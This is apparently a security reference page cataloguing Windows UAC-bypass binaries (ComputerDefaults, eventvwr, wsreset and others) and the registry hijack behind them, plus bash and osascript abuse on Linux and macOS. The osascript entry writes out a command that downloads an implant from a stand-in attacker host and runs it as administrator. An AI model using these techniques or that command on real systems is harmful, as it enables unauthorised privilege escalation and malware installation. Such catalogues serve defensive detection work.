UAC Bypass LOLBins & Privilege Escalation Vectors
Windows User Account Control (UAC) bypass techniques leverage auto-elevating binaries and trusted registry/environment hijacking to execute code at High or System integrity without prompting the interactive user.
Exploits auto-elevating binaries (such as fodhelper.exe, computerdefaults.exe, sdclt.exe) that execute configured registry keys (HKCU\Software\Classes\ms-settings).
Catalog of UAC Bypass LOLBins
Displaying 9 itemsComputerDefaults.exe
ComputerDefaults.exe is a Windows system utility for managing default applications for tasks like web browsing, emailing, and media playback.
ComputerDefaults.exeEudcedit.exe
Private Character Editor Windows Utility
eudceditEventvwr.exe
Displays Windows Event Logs in a GUI window.
eventvwr.exeiscsicpl.exe
Microsoft iSCSI Initiator Control Panel tool
c:\windows\syswow64\iscsicpl.exeMmc.exe
Load snap-ins to locally and remotely manage Windows systems
mmc.exe gpedit.mscodbcad32.exe
ODBC Data Source Administrator to manage User/System DSNs and ODBC drivers.
odbcad32.exeWsreset.exe
Used to reset Windows Store settings according to its manifest file
wsreset.exebash
The GNU Bourne Again SHell (bash) is the default interactive shell on most Linux distributions. Abused for spawning interactive reverse TCP shells, executing encoded base64 commands, and privilege escalation.
bash -posascript
Osascript executes Open Scripting Architecture (OSA) scripts such as AppleScript and JavaScript for Automation (JXA). Widely used in macOS malware to display convincing phishing dialogs, harvest credentials, control System Events, and execute shell commands.
osascript -e 'do shell script "curl -s http://attacker.host/implant | bash" with administrator privileges'Explore Other Attack Objectives & Tactics
